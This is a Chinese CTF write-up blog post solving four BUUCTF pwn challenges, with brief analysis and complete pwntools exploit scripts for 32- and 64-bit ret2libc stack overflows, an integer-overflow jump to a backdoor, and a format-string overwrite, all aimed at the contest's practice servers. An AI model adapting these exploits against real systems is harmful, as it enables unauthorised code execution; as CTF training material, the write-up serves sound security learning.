buuctf pwn (21~24)

铁人三项(第五赛区)_2018_rop

32位elf文件,看一下逻辑
在这里插入图片描述
在这里插入图片描述
栈溢出,没有system函数,没有/bin/sh字符串
再看一下保护
在这里插入图片描述
那估计就是retlibc题了,脚本如下:

from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",29721)
elf=ELF("./pwn21")
ret=0x08048199
main=0x80484C6

read_got=elf.got['read']
write_plt=elf.plt['write']

payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
print(hex(read_addr))

libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base

payload=b'a'*(0x88+4)+p32(system)+p32(0)+p32(bin_sh)
p.sendline(payload)

p.interactive()

在这里插入图片描述

bjdctf_2020_babyrop

64位elf文件,看一下程序逻辑
在这里插入图片描述
在这里插入图片描述栈溢出,没有system函数和/bin/sh字符串
再看一眼保护
在这里插入图片描述
那应该就是retlibc64位题了
脚本如下:

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29360)

elf=ELF("./pwn22")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main=0x4006AD
pop=0x0000000000400733 #pop rdi ret
ret=0x00000000004004c9


p.recvuntil("Pull up your sword and tell me u story!\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(read_got)+p64(puts_plt)+p64(main)
p.sendline(payload)

read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base


p.recvuntil("Pull up your sword and tell me u story!\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload)

p.interactive()

在这里插入图片描述
如果出现超时的情况,就换一下libc版本,多试几次就能找到

bjdctf_2020_babystack2

64位elf文件,看一下程序逻辑
在这里插入图片描述
分析之后,发现这个if判断不让我们输入的数大于10,那这直接用整数溢出
之前写过相关的,看一下,在这个文章的下面

给了后门函数:
在这里插入图片描述

脚本如下:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",28233)
sys=0x400726
p.recvuntil("[+]Please input the length of your name:\n")
p.sendline(str('-1'))
payload=b'a'*(0x10+8)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

jarvisoj_fm

32位elf文件,再看一下程序逻辑
在这里插入图片描述
在这里插入图片描述
这个是格式化字符串漏洞,通过这个漏洞,可以把x覆盖为4
这个可以用这个fmtstr_payload,也可以不用,首先先看一下偏移
在这里插入图片描述
数一下,偏移是11
不用fmtstr_payload脚本如下:

from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
#p=process("./pwn24")
p=remote("node4.buuoj.cn",26446)
payload=p32(0x804A02C)+b'%11$n'
p.sendline(payload)
p.interactive()

在这里插入图片描述
用的话脚本如下:

from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
#p=process("./pwn24")
p=remote("node4.buuoj.cn",26446)
payload=fmtstr_payload(11,{0x0804A02C:4})
p.sendline(payload)
p.interactive()

都能打通

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值